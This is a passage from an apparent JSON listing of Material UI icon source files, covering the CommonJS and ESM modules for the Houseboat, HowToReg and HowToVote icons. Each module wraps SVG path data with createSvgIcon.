    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c-1.95 0-2.1 1-3.34 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.08-1 3.32-1s1.37 1 3.32 1c1.91 0 2.14-1 3.33-1 1.18 0 1.45 1 3.35 1v-2c-1.24 0-1.38-1-3.33-1-1.91 0-2.14 1-3.33 1-1.24 0-1.39-1-3.34-1m8.34-4.66-1.37 1.37c-.19.18-.45.29-.71.29H17V9.65l1.32.97L19.5 9 12 3.5 4.5 9l1.18 1.61L7 9.65V13H5.74c-.27 0-.52-.11-.71-.29l-1.37-1.37-1.41 1.41 1.37 1.37c.56.56 1.33.88 2.12.88h12.51c.8 0 1.56-.32 2.12-.88l1.37-1.37zM13 13h-2v-2h2z\"\n}), 'Houseboat');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseboatOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c-1.95 0-2.1 1-3.34 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.08-1 3.32-1s1.37 1 3.32 1c1.91 0 2.14-1 3.33-1 1.18 0 1.45 1 3.35 1v-2c-1.24 0-1.38-1-3.33-1-1.91 0-2.14 1-3.33 1-1.24 0-1.39-1-3.34-1m8.34-4.66-1.37 1.37c-.19.18-.45.29-.71.29H17V9.65l1.32.97L19.5 9 12 3.5 4.5 9l1.18 1.61L7 9.65V13H5.74c-.27 0-.52-.11-.71-.29l-1.37-1.37-1.41 1.41 1.37 1.37c.56.56 1.33.88 2.12.88h12.51c.8 0 1.56-.32 2.12-.88l1.37-1.37zM13 13v-2h-2v2H9V8.18l3-2.2 3 2.2V13z\"\n}), 'HouseboatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseboatOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c-1.95 0-2.1 1-3.34 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.08-1 3.32-1s1.37 1 3.32 1c1.91 0 2.14-1 3.33-1 1.18 0 1.45 1 3.35 1v-2c-1.24 0-1.38-1-3.33-1-1.91 0-2.14 1-3.33 1-1.24 0-1.39-1-3.34-1m8.34-4.66-1.37 1.37c-.19.18-.45.29-.71.29H17V9.65l1.32.97L19.5 9 12 3.5 4.5 9l1.18 1.61L7 9.65V13H5.74c-.27 0-.52-.11-.71-.29l-1.37-1.37-1.41 1.41 1.37 1.37c.56.56 1.33.88 2.12.88h12.51c.8 0 1.56-.32 2.12-.88l1.37-1.37zM13 13v-2h-2v2H9V8.18l3-2.2 3 2.2V13z\"\n}), 'HouseboatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseboatRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 17.83c0-.42-.27-.8-.67-.94-.71-.27-1.12-.89-2.66-.89-1.91 0-2.14 1-3.33 1-1.24 0-1.39-1-3.34-1s-2.1 1-3.34 1c-1.19 0-1.42-1-3.33-1-1.54 0-1.95.62-2.66.88-.4.15-.67.52-.67.95 0 .7.69 1.19 1.35.95.8-.29 1.18-.78 2-.78 1.19 0 1.42 1 3.33 1 1.95 0 2.08-1 3.32-1s1.37 1 3.32 1c1.91 0 2.14-1 3.33-1 .83 0 1.21.49 2 .78.66.24 1.35-.26 1.35-.95m-3.09-8.02c.33-.45.23-1.07-.22-1.4l-6.1-4.47a.99.99 0 0 0-1.18 0l-6.1 4.47c-.45.33-.54.95-.22 1.4.33.45.95.54 1.4.22L7 9.65V13H5.74c-.27 0-.52-.11-.71-.29l-.66-.66a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.66.66c.56.56 1.33.88 2.12.88h12.51c.8 0 1.56-.32 2.12-.88l.66-.66c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.66.66c-.18.18-.44.29-.7.29H17V9.65l.51.37c.45.33 1.07.23 1.4-.21M13 13h-2v-2h2z\"\n}), 'HouseboatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseboatRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 17.83c0-.42-.27-.8-.67-.94-.71-.27-1.12-.89-2.66-.89-1.91 0-2.14 1-3.33 1-1.24 0-1.39-1-3.34-1s-2.1 1-3.34 1c-1.19 0-1.42-1-3.33-1-1.54 0-1.95.62-2.66.88-.4.15-.67.52-.67.95 0 .7.69 1.19 1.35.95.8-.29 1.18-.78 2-.78 1.19 0 1.42 1 3.33 1 1.95 0 2.08-1 3.32-1s1.37 1 3.32 1c1.91 0 2.14-1 3.33-1 .83 0 1.21.49 2 .78.66.24 1.35-.26 1.35-.95m-3.09-8.02c.33-.45.23-1.07-.22-1.4l-6.1-4.47a.99.99 0 0 0-1.18 0l-6.1 4.47c-.45.33-.54.95-.22 1.4.33.45.95.54 1.4.22L7 9.65V13H5.74c-.27 0-.52-.11-.71-.29l-.66-.66a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.66.66c.56.56 1.33.88 2.12.88h12.51c.8 0 1.56-.32 2.12-.88l.66-.66c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.66.66c-.18.18-.44.29-.7.29H17V9.65l.51.37c.45.33 1.07.23 1.4-.21M13 13h-2v-2h2z\"\n}), 'HouseboatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseboatSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c-1.95 0-2.1 1-3.34 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.08-1 3.32-1s1.37 1 3.32 1c1.91 0 2.14-1 3.33-1 1.18 0 1.45 1 3.35 1v-2c-1.24 0-1.38-1-3.33-1-1.91 0-2.14 1-3.33 1-1.24 0-1.39-1-3.34-1m8.34-4.66L18.67 13H17V9.65l1.32.97L19.5 9 12 3.5 4.5 9l1.18 1.61L7 9.65V13H5.33l-1.66-1.66-1.41 1.41L4.5 15h15l2.25-2.25zM13 13h-2v-2h2z\"\n}), 'HouseboatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseboatSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c-1.95 0-2.1 1-3.34 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.08-1 3.32-1s1.37 1 3.32 1c1.91 0 2.14-1 3.33-1 1.18 0 1.45 1 3.35 1v-2c-1.24 0-1.38-1-3.33-1-1.91 0-2.14 1-3.33 1-1.24 0-1.39-1-3.34-1m8.34-4.66L18.67 13H17V9.65l1.32.97L19.5 9 12 3.5 4.5 9l1.18 1.61L7 9.65V13H5.33l-1.66-1.66-1.41 1.41L4.5 15h15l2.25-2.25zM13 13h-2v-2h2z\"\n}), 'HouseboatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseboatTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 13v-2h-2v2H9V8.18l3-2.2 3 2.2V13z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c-1.95 0-2.1 1-3.34 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.08-1 3.32-1s1.37 1 3.32 1c1.91 0 2.14-1 3.33-1 1.18 0 1.45 1 3.35 1v-2c-1.24 0-1.38-1-3.33-1-1.91 0-2.14 1-3.33 1-1.24 0-1.39-1-3.34-1m8.34-4.66-1.37 1.37c-.19.18-.45.29-.71.29H17V9.65l1.32.97L19.5 9 12 3.5 4.5 9l1.18 1.61L7 9.65V13H5.74c-.27 0-.52-.11-.71-.29l-1.37-1.37-1.41 1.41 1.37 1.37c.56.56 1.33.88 2.12.88h12.51c.8 0 1.56-.32 2.12-.88l1.37-1.37zM13 13v-2h-2v2H9V8.18l3-2.2 3 2.2V13z\"\n}, \"1\")], 'HouseboatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HouseboatTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 13v-2h-2v2H9V8.18l3-2.2 3 2.2V13z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c-1.95 0-2.1 1-3.34 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.08-1 3.32-1s1.37 1 3.32 1c1.91 0 2.14-1 3.33-1 1.18 0 1.45 1 3.35 1v-2c-1.24 0-1.38-1-3.33-1-1.91 0-2.14 1-3.33 1-1.24 0-1.39-1-3.34-1m8.34-4.66-1.37 1.37c-.19.18-.45.29-.71.29H17V9.65l1.32.97L19.5 9 12 3.5 4.5 9l1.18 1.61L7 9.65V13H5.74c-.27 0-.52-.11-.71-.29l-1.37-1.37-1.41 1.41 1.37 1.37c.56.56 1.33.88 2.12.88h12.51c.8 0 1.56-.32 2.12-.88l1.37-1.37zM13 13v-2h-2v2H9V8.18l3-2.2 3 2.2V13z\"\n}, \"1\")], 'HouseboatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToReg.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"m9 17 3-2.94c-.39-.04-.68-.06-1-.06-2.67 0-8 1.34-8 4v2h9zm2-5c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m4.47 8.5L12 17l1.4-1.41 2.07 2.08 5.13-5.17 1.4 1.41z\"\n}), 'HowToReg');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToReg.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"m9 17 3-2.94c-.39-.04-.68-.06-1-.06-2.67 0-8 1.34-8 4v2h9zm2-5c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m4.47 8.5L12 17l1.4-1.41 2.07 2.08 5.13-5.17 1.4 1.41z\"\n}), 'HowToReg');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToRegOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2M5 18c.2-.63 2.57-1.68 4.96-1.94l2.04-2c-.39-.04-.68-.06-1-.06-2.67 0-8 1.34-8 4v2h9l-2-2zm15.6-5.5-5.13 5.17-2.07-2.08L12 17l3.47 3.5L22 13.91z\"\n}), 'HowToRegOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToRegOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2M5 18c.2-.63 2.57-1.68 4.96-1.94l2.04-2c-.39-.04-.68-.06-1-.06-2.67 0-8 1.34-8 4v2h9l-2-2zm15.6-5.5-5.13 5.17-2.07-2.08L12 17l3.47 3.5L22 13.91z\"\n}), 'HowToRegOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToRegRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 20-.86-.86c-1.18-1.18-1.17-3.1.02-4.26l.84-.82c-.39-.04-.68-.06-1-.06-2.67 0-8 1.34-8 4v2zm-1-8c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m5.18 7.78c-.39.39-1.03.39-1.42 0l-2.07-2.09c-.38-.39-.38-1.01 0-1.39l.01-.01c.39-.39 1.02-.39 1.4 0l1.37 1.37 4.43-4.46c.39-.39 1.02-.39 1.41 0l.01.01c.38.39.38 1.01 0 1.39z\"\n}), 'HowToRegRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToRegRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 20-.86-.86c-1.18-1.18-1.17-3.1.02-4.26l.84-.82c-.39-.04-.68-.06-1-.06-2.67 0-8 1.34-8 4v2zm-1-8c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m5.18 7.78c-.39.39-1.03.39-1.42 0l-2.07-2.09c-.38-.39-.38-1.01 0-1.39l.01-.01c.39-.39 1.02-.39 1.4 0l1.37 1.37 4.43-4.46c.39-.39 1.02-.39 1.41 0l.01.01c.38.39.38 1.01 0 1.39z\"\n}), 'HowToRegRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToRegSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9 17 3-2.94c-.39-.04-.68-.06-1-.06-2.67 0-8 1.34-8 4v2h9zm2-5c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m4.47 8.5L12 17l1.4-1.41 2.07 2.08 5.13-5.17 1.4 1.41z\"\n}), 'HowToRegSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToRegSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9 17 3-2.94c-.39-.04-.68-.06-1-.06-2.67 0-8 1.34-8 4v2h9zm2-5c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m4.47 8.5L12 17l1.4-1.41 2.07 2.08 5.13-5.17 1.4 1.41z\"\n}), 'HowToRegSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToRegTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 18h4.99L9 17l.93-.94C7.55 16.33 5.2 17.37 5 18\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m-1 12H5c.2-.63 2.55-1.67 4.93-1.94h.03l.46-.45L12 14.06c-.39-.04-.68-.06-1-.06-2.67 0-8 1.34-8 4v2h9zm10.6-5.5-5.13 5.17-2.07-2.08L12 17l3.47 3.5L22 13.91z\"\n}, \"2\")], 'HowToRegTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToRegTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 18h4.99L9 17l.93-.94C7.55 16.33 5.2 17.37 5 18\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m-1 12H5c.2-.63 2.55-1.67 4.93-1.94h.03l.46-.45L12 14.06c-.39-.04-.68-.06-1-.06-2.67 0-8 1.34-8 4v2h9zm10.6-5.5-5.13 5.17-2.07-2.08L12 17l3.47 3.5L22 13.91z\"\n}, \"2\")], 'HowToRegTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToVote.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13h-.68l-2 2h1.91L19 17H5l1.78-2h2.05l-2-2H6l-3 3v4c0 1.1.89 2 1.99 2H19c1.1 0 2-.89 2-2v-4zm-1-5.05-4.95 4.95-3.54-3.54 4.95-4.95zm-4.24-5.66L6.39 8.66c-.39.39-.39 1.02 0 1.41l4.95 4.95c.39.39 1.02.39 1.41 0l6.36-6.36c.39-.39.39-1.02 0-1.41L14.16 2.3c-.38-.4-1.01-.4-1.4-.01\"\n}), 'HowToVote');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToVote.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13h-.68l-2 2h1.91L19 17H5l1.78-2h2.05l-2-2H6l-3 3v4c0 1.1.89 2 1.99 2H19c1.1 0 2-.89 2-2v-4zm-1-5.05-4.95 4.95-3.54-3.54 4.95-4.95zm-4.24-5.66L6.39 8.66c-.39.39-.39 1.02 0 1.41l4.95 4.95c.39.39 1.02.39 1.41 0l6.36-6.36c.39-.39.39-1.02 0-1.41L14.16 2.3c-.38-.4-1.01-.4-1.4-.01\"\n}), 'HowToVote');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToVoteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13h-.68l-2 2h1.91L19 17H5l1.78-2h2.05l-2-2H6l-3 3v4c0 1.1.89 2 1.99 2H19c1.1 0 2-.89 2-2v-4zm1 7H5v-1h14zm-7.66-4.98c.39.39 1.02.39 1.41 0l6.36-6.36c.39-.39.39-1.02 0-1.41L14.16 2.3c-.38-.4-1.01-.4-1.4-.01L6.39 8.66c-.39.39-.39 1.02 0 1.41zm2.12-10.61L17 7.95l-4.95 4.95-3.54-3.54z\"\n}), 'HowToVoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToVoteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13h-.68l-2 2h1.91L19 17H5l1.78-2h2.05l-2-2H6l-3 3v4c0 1.1.89 2 1.99 2H19c1.1 0 2-.89 2-2v-4zm1 7H5v-1h14zm-7.66-4.98c.39.39 1.02.39 1.41 0l6.36-6.36c.39-.39.39-1.02 0-1.41L14.16 2.3c-.38-.4-1.01-.4-1.4-.01L6.39 8.66c-.39.39-.39 1.02 0 1.41zm2.12-10.61L17 7.95l-4.95 4.95-3.54-3.54z\"\n}), 'HowToVoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToVoteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 12.18-1.5 1.64 2 2.18h-13l2-2.18L6 12.18l-3 3.27V20c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4.54z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.59 14.42c.78.79 2.05.8 2.84.01l4.98-4.98c.78-.78.78-2.05 0-2.83l-3.54-3.53c-.78-.78-2.05-.78-2.83 0L7.09 8.04c-.78.78-.78 2.03-.01 2.82zm2.87-9.92 3.53 3.53-4.94 4.94-3.53-3.53z\"\n}, \"1\")], 'HowToVoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToVoteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 12.18-1.5 1.64 2 2.18h-13l2-2.18L6 12.18l-3 3.27V20c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4.54z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.59 14.42c.78.79 2.05.8 2.84.01l4.98-4.98c.78-.78.78-2.05 0-2.83l-3.54-3.53c-.78-.78-2.05-.78-2.83 0L7.09 8.04c-.78.78-.78 2.03-.01 2.82zm2.87-9.92 3.53 3.53-4.94 4.94-3.53-3.53z\"\n}, \"1\")], 'HowToVoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToVoteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13h-.68l-2 2h1.91L19 17H5l1.78-2h2.05l-2-2H6l-3 3v6h18v-6zm1.81-5.04L13.45 1.6 5.68 9.36l6.36 6.36zm-6.35-3.55L17 7.95l-4.95 4.95-3.54-3.54z\"\n}), 'HowToVoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToVoteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13h-.68l-2 2h1.91L19 17H5l1.78-2h2.05l-2-2H6l-3 3v6h18v-6zm1.81-5.04L13.45 1.6 5.68 9.36l6.36 6.36zm-6.35-3.55L17 7.95l-4.95 4.95-3.54-3.54z\"\n}), 'HowToVoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToVoteTwoTone.js",
